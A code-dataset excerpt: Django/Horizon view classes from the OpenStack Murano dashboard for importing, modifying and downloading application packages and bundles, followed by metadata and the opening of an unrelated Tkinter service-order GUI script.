path='bundles/',\n base_url=base_url,\n extension='.bundle',\n )\n\n try:\n bundle = muranoclient_utils.Bundle.from_file(f)\n except Exception as e:\n if '(404)' in e.message:\n msg = _(\"Bundle creation failed.\"\n \"Reason: Can't find Bundle name from repository.\")\n else:\n msg = _(\"Bundle creation failed.\"\n \"Reason: {0}\").format(e)\n LOG.exception(msg)\n messages.error(self.request, msg)\n raise exceptions.Http302(\n reverse('horizon:app-catalog:packages:index'))\n\n for package_spec in bundle.package_specs():\n try:\n package = muranoclient_utils.Package.from_location(\n package_spec['Name'],\n version=package_spec.get('Version'),\n url=package_spec.get('Url'),\n base_url=base_url,\n path=None,\n )\n except Exception as e:\n msg = _(\"Error {0} occurred while parsing package {1}\")\\\n .format(e, package_spec.get('Name'))\n messages.error(self.request, msg)\n LOG.exception(msg)\n continue\n\n reqs = package.requirements(base_url=base_url)\n for dep_name, dep_package in reqs.items():\n _ensure_images(dep_name, dep_package,\n self.request)\n\n try:\n files = {dep_name: dep_package.file()}\n package = api.muranoclient(\n self.request).packages.create(data, files)\n messages.success(\n self.request,\n _('Package {0} uploaded').format(dep_name)\n )\n _update_latest_apps(\n request=self.request, app_id=package.id)\n except exc.HTTPConflict:\n msg = _(\"Package {0} already registered.\").format(\n dep_name)\n messages.warning(self.request, msg)\n LOG.exception(msg)\n except exc.HTTPException as e:\n reason = muranodashboard_utils.parse_api_error(\n getattr(e, 'details', ''))\n if not reason:\n raise\n msg = _(\"Package {0} upload failed. {1}\").format(\n dep_name, reason)\n messages.warning(self.request, msg)\n LOG.exception(msg)\n except Exception as e:\n msg = _(\"Importing package {0} failed. \"\n \"Reason: {1}\").format(dep_name, e)\n messages.warning(self.request, msg)\n LOG.exception(msg)\n continue\n\n return step_data\n\n def done(self, form_list, **kwargs):\n redirect = reverse('horizon:app-catalog:packages:index')\n msg = _('Bundle successfully imported.')\n LOG.info(msg)\n messages.success(self.request, msg)\n return http.HttpResponseRedirect(str(redirect))\n\n\nclass ImportPackageWizard(horizon_views.PageTitleMixin, views.ModalFormMixin,\n wizard_views.SessionWizardView):\n file_storage = storage.FileSystemStorage(location=consts.CACHE_DIR)\n template_name = 'packages/upload.html'\n condition_dict = {'add_category': is_app}\n page_title = _(\"Import Package\")\n\n def get_form_initial(self, step):\n initial_dict = self.initial_dict.get(step, {})\n if step == 'upload':\n for name in ['url', 'repo_name', 'repo_version', 'import_type']:\n if name in self.request.GET:\n initial_dict[name] = self.request.GET[name]\n return initial_dict\n\n def get_context_data(self, **kwargs):\n context = super(ImportPackageWizard, self).get_context_data(**kwargs)\n repo_url = urlparse.urlparse(packages_consts.MURANO_REPO_URL)\n context['murano_repo_url'] = \"{}://{}\".format(\n repo_url.scheme, repo_url.netloc)\n return context\n\n def done(self, form_list, **kwargs):\n data = self.get_all_cleaned_data()\n app_id = self.storage.get_step_data('upload')['package'].id\n # Remove package file from result data\n for key in ('package', 'import_type', 'url',\n 'repo_version', 'repo_name'):\n del data[key]\n\n dep_pkgs = self.storage.get_step_data('upload').get(\n 'dependencies', [])\n\n installed_images = self.storage.get_step_data('upload').get(\n 'images', [])\n\n redirect = reverse('horizon:app-catalog:packages:index')\n dep_data = {'enabled': data['enabled'],\n 'is_public': data['is_public']}\n murano_client = api.muranoclient(self.request)\n for dep_pkg in dep_pkgs:\n try:\n murano_client.packages.update(dep_pkg.id, dep_data)\n LOG.debug('Success update for package {0}.'.format(dep_pkg.id))\n except Exception as e:\n msg = _(\"Couldn't update package {0} parameters. Error: {1}\")\\\n .format(dep_pkg.fully_qualified_name, e)\n LOG.warning(msg)\n messages.warning(self.request, msg)\n\n # Images have been imported as private images during the 'upload' step\n # If the package is public, make the required images public\n if data['is_public']:\n try:\n glance_client = glance.glanceclient(self.request, '1')\n except Exception:\n glance_client = None\n\n if glance_client:\n for img in installed_images:\n try:\n glance_client.images.update(img['id'], is_public=True)\n LOG.debug(\n 'Success update for image {0}'.format(img['id']))\n except Exception as e:\n msg = _(\"Error {0} occurred while setting image {1}, \"\n \"{2} public\").format(e, img['name'], img['id'])\n messages.error(self.request, msg)\n LOG.exception(msg)\n elif len(installed_images):\n msg = _(\"Couldn't initialise glance v1 client, \"\n \"therefore could not make the following images \"\n \"public: {0}\").format(' '.join(\n [img['name'] for img in installed_images]))\n messages.warning(self.request, msg)\n LOG.warning(msg)\n\n try:\n data['tags'] = [t.strip() for t in data['tags'].split(',')]\n murano_client.packages.update(app_id, data)\n except exc.HTTPForbidden:\n msg = _(\"You are not allowed to change\"\n \" this properties of the package\")\n LOG.exception(msg)\n exceptions.handle(\n self.request, msg,\n redirect=reverse('horizon:app-catalog:packages:index'))\n except (exc.HTTPException, Exception):\n LOG.exception(_('Modifying package failed'))\n exceptions.handle(self.request,\n _('Unable to modify package'),\n redirect=redirect)\n else:\n msg = _('Package parameters successfully updated.')\n LOG.info(msg)\n messages.success(self.request, msg)\n return http.HttpResponseRedirect(str(redirect))\n\n def _handle_exception(self, original_e):\n reason = ''\n if hasattr(original_e, 'details'):\n try:\n error = json.loads(original_e.details).get('error')\n if error:\n reason = error.get('message')\n except ValueError:\n raise original_e\n msg = _('Uploading package failed. {0}').format(reason)\n LOG.exception(msg)\n exceptions.handle(\n self.request,\n msg,\n redirect=reverse('horizon:app-catalog:packages:index'))\n\n def process_step(self, form):\n @catalog_views.update_latest_apps\n def _update_latest_apps(request, app_id):\n LOG.info('Adding {0} application to the'\n ' latest apps list'.format(app_id))\n\n step_data = self.get_form_step_data(form).copy()\n if self.steps.current == 'upload':\n import_type = form.cleaned_data['import_type']\n data = {}\n f = None\n base_url = packages_consts.MURANO_REPO_URL\n\n if import_type == 'upload':\n pkg = form.cleaned_data['package']\n f = pkg.file\n elif import_type == 'by_url':\n f = form.cleaned_data['url']\n elif import_type == 'by_name':\n name = form.cleaned_data['repo_name']\n version = form.cleaned_data['repo_version']\n f = muranoclient_utils.to_url(\n name, version=version,\n path='apps/',\n extension='.zip',\n base_url=base_url,\n )\n\n try:\n package = muranoclient_utils.Package.from_file(f)\n name = package.manifest['FullName']\n except Exception as e:\n if '(404)' in e.message:\n msg = _(\"Package creation failed.\"\n \"Reason: Can't find Package name from repository.\")\n else:\n msg = _(\"Package creation failed.\"\n \"Reason: {0}\").format(e)\n LOG.exception(msg)\n messages.error(self.request, msg)\n raise exceptions.Http302(\n reverse('horizon:app-catalog:packages:index'))\n\n reqs = package.requirements(base_url=base_url)\n original_package = reqs.pop(name)\n step_data['dependencies'] = []\n step_data['images'] = []\n for dep_name, dep_package in reqs.items():\n _ensure_images(dep_name, dep_package, self.request, step_data)\n\n try:\n files = {dep_name: dep_package.file()}\n package = api.muranoclient(self.request).packages.create(\n data, files)\n messages.success(\n self.request,\n _('Package {0} uploaded').format(dep_name)\n )\n _update_latest_apps(\n request=self.request, app_id=package.id)\n step_data['dependencies'].append(package)\n except exc.HTTPConflict:\n msg = _(\"Package {0} already registered.\").format(\n dep_name)\n messages.warning(self.request, msg)\n LOG.exception(msg)\n except Exception as e:\n msg = _(\"Error {0} occurred while \"\n \"installing package {1}\").format(e, dep_name)\n messages.error(self.request, msg)\n LOG.exception(msg)\n continue\n\n # add main packages images\n _ensure_images(name, original_package, self.request, step_data)\n\n # import main package itself\n try:\n files = {name: original_package.file()}\n package = api.muranoclient(self.request).packages.create(\n data, files)\n messages.success(self.request,\n _('Package {0} uploaded').format(name))\n _update_latest_apps(request=self.request, app_id=package.id)\n\n step_data['package'] = package\n\n except exc.HTTPConflict:\n msg = _(\"Package with specified name already exists\")\n LOG.exception(msg)\n exceptions.handle(\n self.request,\n msg,\n redirect=reverse('horizon:app-catalog:packages:index'))\n except exc.HTTPInternalServerError as e:\n self._handle_exception(e)\n\n except exc.HTTPException as e:\n reason = muranodashboard_utils.parse_api_error(\n getattr(e, 'details', ''))\n if not reason:\n raise\n LOG.exception(reason)\n exceptions.handle(\n self.request,\n reason,\n redirect=reverse('horizon:app-catalog:packages:index'))\n\n except Exception as original_e:\n self._handle_exception(original_e)\n\n return step_data\n\n def get_form_kwargs(self, step=None):\n kwargs = {}\n if step == 'add_category':\n kwargs.update({'request': self.request})\n if step == 'modify':\n package = self.storage.get_step_data('upload').get('package')\n kwargs.update({'package': package, 'request': self.request})\n return kwargs\n\n\nclass ModifyPackageView(views.ModalFormView):\n form_class = forms.ModifyPackageForm\n template_name = 'packages/modify_package.html'\n success_url = reverse_lazy('horizon:app-catalog:packages:index')\n failure_url = reverse_lazy('horizon:app-catalog:packages:index')\n page_title = _(\"Modify Package\")\n\n def get_initial(self):\n app_id = self.kwargs['app_id']\n package = api.muranoclient(self.request).packages.get(app_id)\n return {\n 'package': package,\n 'app_id': app_id,\n }\n\n def get_context_data(self, **kwargs):\n context = super(ModifyPackageView, self).get_context_data(**kwargs)\n context['app_id'] = self.kwargs['app_id']\n context['type'] = self.get_form().initial['package'].type\n return context\n\n\nclass DetailView(horizon_views.HorizonTemplateView):\n template_name = 'packages/detail.html'\n page_title = \"{{ app.name }}\"\n\n def get_context_data(self, **kwargs):\n context = super(DetailView, self).get_context_data(**kwargs)\n app = self.get_data()\n context[\"app\"] = app\n return context\n\n def get_data(self):\n app = None\n try:\n app_id = self.kwargs['app_id']\n app = api.muranoclient(self.request).packages.get(app_id)\n except Exception:\n INDEX_URL = 'horizon:app-catalog:packages:index'\n exceptions.handle(self.request,\n _('Unable to retrieve package details.'),\n redirect=reverse(INDEX_URL))\n return app\n\n\ndef download_packge(request, app_name, app_id):\n try:\n body = api.muranoclient(request).packages.download(app_id)\n\n content_type = 'application/octet-stream'\n response = http.HttpResponse(body, content_type=content_type)\n response['Content-Disposition'] = 'filename={name}.zip'.format(\n name=app_name)\n\n return response\n except exc.HTTPException:\n LOG.exception(_('Something went wrong during package downloading'))\n redirect = reverse('horizon:app-catalog:packages:index')\n exceptions.handle(request,\n _('Unable to download package.'),\n redirect=redirect)\n", "repo_name": "openstack/murano-dashboard", "sub_path": "muranodashboard/packages/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 23827, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 57, "dataset": "github-code", "pt": "16", "api": [{"api_name": "oslo_log.log.getLogger", "line_number": 36, "usage_type": "call"}, {"api_name": "oslo_log.log", "line_number": 36, "usage_type": "name"}, {"api_name": "muranodashboard.packages.forms.ImportPackageForm", "line_number": 38, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.forms", "line_number": 38, "usage_type": "name"}, {"api_name": "muranodashboard.packages.forms.UpdatePackageForm", "line_number": 39, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.forms", "line_number": 39, "usage_type": "name"}, {"api_name": "muranodashboard.packages.forms.SelectCategories", "line_number": 40, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.forms", "line_number": 40, "usage_type": "name"}, {"api_name": "muranodashboard.packages.forms.ImportBundleForm", "line_number": 42, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.forms", "line_number": 42, "usage_type": "name"}, {"api_name": "openstack_dashboard.api.glance.glanceclient", "line_number": 58, "usage_type": "call"}, {"api_name": "openstack_dashboard.api.glance", "line_number": 58, "usage_type": "name"}, {"api_name": "muranodashboard.packages.consts.MURANO_REPO_URL", "line_number": 61, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.consts", "line_number": 61, "usage_type": "name"}, {"api_name": "muranoclient.common.utils.ensure_images", "line_number": 65, "usage_type": "call"}, {"api_name": "muranoclient.common.utils", "line_number": 65, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 70, "usage_type": "call"}, {"api_name": "horizon.messages.warning", "line_number": 73, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 73, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 74, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 82, "usage_type": "call"}, {"api_name": "horizon.messages.error", "line_number": 84, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 84, "usage_type": "name"}, {"api_name": "horizon.tables.DataTableView", "line_number": 88, "usage_type": "attribute"}, {"api_name": "horizon.tables", "line_number": 88, "usage_type": "name"}, {"api_name": "muranodashboard.packages.tables.PackageDefinitionsTable", "line_number": 89, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.tables", "line_number": 89, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 91, "usage_type": "call"}, {"api_name": "muranodashboard.packages.tables.PackageDefinitionsTable", "line_number": 109, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.tables", "line_number": 109, "usage_type": "name"}, {"api_name": "horizon.utils.functions.get_page_size", "line_number": 114, "usage_type": "call"}, {"api_name": "horizon.utils.functions", "line_number": 114, "usage_type": "name"}, {"api_name": "muranodashboard.api.handled_exceptions", "line_number": 115, "usage_type": "call"}, {"api_name": "muranodashboard.api", "line_number": 115, "usage_type": "name"}, {"api_name": "muranodashboard.api.packages.package_list", "line_number": 116, "usage_type": "call"}, {"api_name": "muranodashboard.api.packages", "line_number": 116, "usage_type": "name"}, {"api_name": "muranodashboard.api.packages.package_list", "line_number": 134, "usage_type": "call"}, {"api_name": "muranodashboard.api.packages", "line_number": 134, "usage_type": "name"}, {"api_name": "openstack_dashboard.api.keystone.tenant_list", "line_number": 147, "usage_type": "call"}, {"api_name": "openstack_dashboard.api.keystone", "line_number": 147, "usage_type": "name"}, {"api_name": "horizon.exceptions.handle", "line_number": 149, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 149, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 150, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 160, "usage_type": "call"}, {"api_name": "horizon.views.PageTitleMixin", "line_number": 180, "usage_type": "attribute"}, {"api_name": "horizon.views", "line_number": 180, "usage_type": "name"}, {"api_name": "horizon.forms.views.ModalFormMixin", "line_number": 180, "usage_type": "attribute"}, {"api_name": "horizon.forms.views", "line_number": 180, "usage_type": "name"}, {"api_name": "formtools.wizard.views.SessionWizardView", "line_number": 181, "usage_type": "attribute"}, {"api_name": "formtools.wizard.views", "line_number": 181, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 183, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 187, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 187, "usage_type": "name"}, {"api_name": "muranodashboard.packages.consts.MURANO_REPO_URL", "line_number": 187, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.consts", "line_number": 187, "usage_type": "name"}, {"api_name": "muranodashboard.catalog.views.update_latest_apps", "line_number": 201, "usage_type": "attribute"}, {"api_name": "muranodashboard.catalog.views", "line_number": 201, "usage_type": "name"}, {"api_name": "muranodashboard.packages.consts.MURANO_REPO_URL", "line_number": 211, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.consts", "line_number": 211, "usage_type": "name"}, {"api_name": "muranoclient.common.utils.to_url", "line_number": 216, "usage_type": "call"}, {"api_name": "muranoclient.common.utils", "line_number": 216, "usage_type": "name"}, {"api_name": "muranoclient.common.utils.Bundle.from_file", "line_number": 224, "usage_type": "call"}, {"api_name": "muranoclient.common.utils.Bundle", "line_number": 224, "usage_type": "attribute"}, {"api_name": "muranoclient.common.utils", "line_number": 224, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 227, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 230, "usage_type": "call"}, {"api_name": "horizon.messages.error", "line_number": 233, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 233, "usage_type": "name"}, {"api_name": "horizon.exceptions.Http302", "line_number": 234, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 234, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 235, "usage_type": "call"}, {"api_name": "muranoclient.common.utils.Package.from_location", "line_number": 239, "usage_type": "call"}, {"api_name": "muranoclient.common.utils.Package", "line_number": 239, "usage_type": "attribute"}, {"api_name": "muranoclient.common.utils", "line_number": 239, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 247, "usage_type": "call"}, {"api_name": "horizon.messages.error", "line_number": 249, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 249, "usage_type": "name"}, {"api_name": "muranodashboard.api.muranoclient", "line_number": 260, "usage_type": "call"}, {"api_name": "muranodashboard.api", "line_number": 260, "usage_type": "name"}, {"api_name": "horizon.messages.success", "line_number": 262, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 262, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 264, "usage_type": "call"}, {"api_name": "muranoclient.common.exceptions.HTTPConflict", "line_number": 268, "usage_type": "attribute"}, {"api_name": "muranoclient.common.exceptions", "line_number": 268, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 269, "usage_type": "call"}, {"api_name": "horizon.messages.warning", "line_number": 271, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 271, "usage_type": "name"}, {"api_name": "muranoclient.common.exceptions.HTTPException", "line_number": 273, "usage_type": "attribute"}, {"api_name": "muranoclient.common.exceptions", "line_number": 273, "usage_type": "name"}, {"api_name": "muranodashboard.common.utils.parse_api_error", "line_number": 274, "usage_type": "call"}, {"api_name": "muranodashboard.common.utils", "line_number": 274, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 278, "usage_type": "call"}, {"api_name": "horizon.messages.warning", "line_number": 280, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 280, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 283, "usage_type": "call"}, {"api_name": "horizon.messages.warning", "line_number": 285, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 285, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 292, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 293, "usage_type": "call"}, {"api_name": "horizon.messages.success", "line_number": 295, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 295, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 296, "usage_type": "call"}, {"api_name": "django.http", "line_number": 296, "usage_type": "name"}, {"api_name": "horizon.views.PageTitleMixin", "line_number": 299, "usage_type": "attribute"}, {"api_name": "horizon.views", "line_number": 299, "usage_type": "name"}, {"api_name": "horizon.forms.views.ModalFormMixin", "line_number": 299, "usage_type": "attribute"}, {"api_name": "horizon.forms.views", "line_number": 299, "usage_type": "name"}, {"api_name": "formtools.wizard.views.SessionWizardView", "line_number": 300, "usage_type": "attribute"}, {"api_name": "formtools.wizard.views", "line_number": 300, "usage_type": "name"}, {"api_name": "django.core.files.storage.FileSystemStorage", "line_number": 301, "usage_type": "call"}, {"api_name": "django.core.files.storage", "line_number": 301, "usage_type": "name"}, {"api_name": "muranodashboard.environments.consts.CACHE_DIR", "line_number": 301, "usage_type": "attribute"}, {"api_name": "muranodashboard.environments.consts", "line_number": 301, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 304, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 316, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 316, "usage_type": "name"}, {"api_name": "muranodashboard.packages.consts.MURANO_REPO_URL", "line_number": 316, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.consts", "line_number": 316, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 335, "usage_type": "call"}, {"api_name": "muranodashboard.api.muranoclient", "line_number": 338, "usage_type": "call"}, {"api_name": "muranodashboard.api", "line_number": 338, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 344, "usage_type": "call"}, {"api_name": "horizon.messages.warning", "line_number": 347, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 347, "usage_type": "name"}, {"api_name": "openstack_dashboard.api.glance.glanceclient", "line_number": 353, "usage_type": "call"}, {"api_name": "openstack_dashboard.api.glance", "line_number": 353, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 364, "usage_type": "call"}, {"api_name": "horizon.messages.error", "line_number": 366, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 366, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 369, "usage_type": "call"}, {"api_name": "horizon.messages.warning", "line_number": 373, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 373, "usage_type": "name"}, {"api_name": "muranoclient.common.exceptions.HTTPForbidden", "line_number": 379, "usage_type": "attribute"}, {"api_name": "muranoclient.common.exceptions", "line_number": 379, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 380, "usage_type": "call"}, {"api_name": "horizon.exceptions.handle", "line_number": 383, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 383, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 385, "usage_type": "call"}, {"api_name": "muranoclient.common.exceptions.HTTPException", "line_number": 386, "usage_type": "attribute"}, {"api_name": "muranoclient.common.exceptions", "line_number": 386, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 387, "usage_type": "call"}, {"api_name": "horizon.exceptions.handle", "line_number": 388, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 388, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 389, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 392, "usage_type": "call"}, {"api_name": "horizon.messages.success", "line_number": 394, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 394, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 395, "usage_type": "call"}, {"api_name": "django.http", "line_number": 395, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 401, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 406, "usage_type": "call"}, {"api_name": "horizon.exceptions.handle", "line_number": 408, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 408, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 411, "usage_type": "call"}, {"api_name": "muranodashboard.catalog.views.update_latest_apps", "line_number": 414, "usage_type": "attribute"}, {"api_name": "muranodashboard.catalog.views", "line_number": 414, "usage_type": "name"}, {"api_name": "muranodashboard.packages.consts.MURANO_REPO_URL", "line_number": 424, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.consts", "line_number": 424, "usage_type": "name"}, {"api_name": "muranoclient.common.utils.to_url", "line_number": 434, "usage_type": "call"}, {"api_name": "muranoclient.common.utils", "line_number": 434, "usage_type": "name"}, {"api_name": "muranoclient.common.utils.Package.from_file", "line_number": 442, "usage_type": "call"}, {"api_name": "muranoclient.common.utils.Package", "line_number": 442, "usage_type": "attribute"}, {"api_name": "muranoclient.common.utils", "line_number": 442, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 446, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 449, "usage_type": "call"}, {"api_name": "horizon.messages.error", "line_number": 452, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 452, "usage_type": "name"}, {"api_name": "horizon.exceptions.Http302", "line_number": 453, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 453, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 454, "usage_type": "call"}, {"api_name": "muranodashboard.api.muranoclient", "line_number": 465, "usage_type": "call"}, {"api_name": "muranodashboard.api", "line_number": 465, "usage_type": "name"}, {"api_name": "horizon.messages.success", "line_number": 467, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 467, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 469, "usage_type": "call"}, {"api_name": "muranoclient.common.exceptions.HTTPConflict", "line_number": 474, "usage_type": "attribute"}, {"api_name": "muranoclient.common.exceptions", "line_number": 474, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 475, "usage_type": "call"}, {"api_name": "horizon.messages.warning", "line_number": 477, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 477, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 480, "usage_type": "call"}, {"api_name": "horizon.messages.error", "line_number": 482, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 482, "usage_type": "name"}, {"api_name": "muranodashboard.api.muranoclient", "line_number": 492, "usage_type": "call"}, {"api_name": "muranodashboard.api", "line_number": 492, "usage_type": "name"}, {"api_name": "horizon.messages.success", "line_number": 494, "usage_type": "call"}, {"api_name": "horizon.messages", "line_number": 494, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 495, "usage_type": "call"}, {"api_name": "muranoclient.common.exceptions.HTTPConflict", "line_number": 500, "usage_type": "attribute"}, {"api_name": "muranoclient.common.exceptions", "line_number": 500, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 501, "usage_type": "call"}, {"api_name": "horizon.exceptions.handle", "line_number": 503, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 503, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 506, "usage_type": "call"}, {"api_name": "muranoclient.common.exceptions.HTTPInternalServerError", "line_number": 507, "usage_type": "attribute"}, {"api_name": "muranoclient.common.exceptions", "line_number": 507, "usage_type": "name"}, {"api_name": "muranoclient.common.exceptions.HTTPException", "line_number": 510, "usage_type": "attribute"}, {"api_name": "muranoclient.common.exceptions", "line_number": 510, "usage_type": "name"}, {"api_name": "muranodashboard.common.utils.parse_api_error", "line_number": 511, "usage_type": "call"}, {"api_name": "muranodashboard.common.utils", "line_number": 511, "usage_type": "name"}, {"api_name": "horizon.exceptions.handle", "line_number": 516, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 516, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 519, "usage_type": "call"}, {"api_name": "horizon.forms.views.ModalFormView", "line_number": 536, "usage_type": "attribute"}, {"api_name": "horizon.forms.views", "line_number": 536, "usage_type": "name"}, {"api_name": "muranodashboard.packages.forms.ModifyPackageForm", "line_number": 537, "usage_type": "attribute"}, {"api_name": "muranodashboard.packages.forms", "line_number": 537, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 539, "usage_type": "call"}, {"api_name": "django.urls.reverse_lazy", "line_number": 540, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 541, "usage_type": "call"}, {"api_name": "muranodashboard.api.muranoclient", "line_number": 545, "usage_type": "call"}, {"api_name": "muranodashboard.api", "line_number": 545, "usage_type": "name"}, {"api_name": "horizon.views.HorizonTemplateView", "line_number": 558, "usage_type": "attribute"}, {"api_name": "horizon.views", "line_number": 558, "usage_type": "name"}, {"api_name": "muranodashboard.api.muranoclient", "line_number": 572, "usage_type": "call"}, {"api_name": "muranodashboard.api", "line_number": 572, "usage_type": "name"}, {"api_name": "horizon.exceptions.handle", "line_number": 575, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 575, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 576, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 577, "usage_type": "call"}, {"api_name": "muranodashboard.api.muranoclient", "line_number": 583, "usage_type": "call"}, {"api_name": "muranodashboard.api", "line_number": 583, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 586, "usage_type": "call"}, {"api_name": "django.http", "line_number": 586, "usage_type": "name"}, {"api_name": "muranoclient.common.exceptions.HTTPException", "line_number": 591, "usage_type": "attribute"}, {"api_name": "muranoclient.common.exceptions", "line_number": 591, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 592, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 593, "usage_type": "call"}, {"api_name": "horizon.exceptions.handle", "line_number": 594, "usage_type": "call"}, {"api_name": "horizon.exceptions", "line_number": 594, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 595, "usage_type": "call"}]} +{"seq_id": "9879382776", "text": "# https://github.com/A21n13g0/Ordem-de-Servico\n# Angelo - Python RAD - Professor Heleno Cardoso (22/11/2022)\n# Import do tkinter e tkcalendar\n# pip install tkcalendar (Windows)\n# pip3 install tkcalendar (Linux)\n# python.exe -m pip install --upgrade pip\n# virtualenv(para Python 2) ou venv, possivelmente via poetry, (para Python 3).\n\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom tkcalendar import Calendar, DateEntry\n\n# Import do process\nfrom process import *\n\n# Cores\nco0 = \"#f0f3f5\" # Preta\nco1 = \"#feffff\" # branca\nco2 = \"#4fa882\" # verde\nco3 = \"#38576b\" # valor\nco4 = \"#403d3d\" # letra\nco5 = \"#e06636\" # - profit\nco6 = \"#038cfc\" # azul\nco7 = \"#ef5350\" # vermelha\nco8 = \"#263238\" # + verde\nco9 = \"#e9edf5\" # sky blue\n\n# Tela\naux = 0\nwindow = Tk()\nwindow.title(\"Ordem de Serviço\")\nwindow.geometry(\"1043x453\")\nwindow.configure(bg=co9)\nwindow.resizable(width=False, height=False)\n\n# Divisor da tela\nframe_top = Frame(window, width=310, height=50, bg=co2, relief='flat')\nframe_top.grid(row=0, column=0)\n\nframe_base = Frame(window, width=310, height=400, bg=co1, relief='flat')\nframe_base.grid(row=1, column=0, padx=0, pady=1, sticky=NSEW)\n\nframe_right = Frame(window, width=580, height=400, bg=co1, relief='flat')\nframe_right.grid(row=0, column=1, rowspan=2, padx=1, 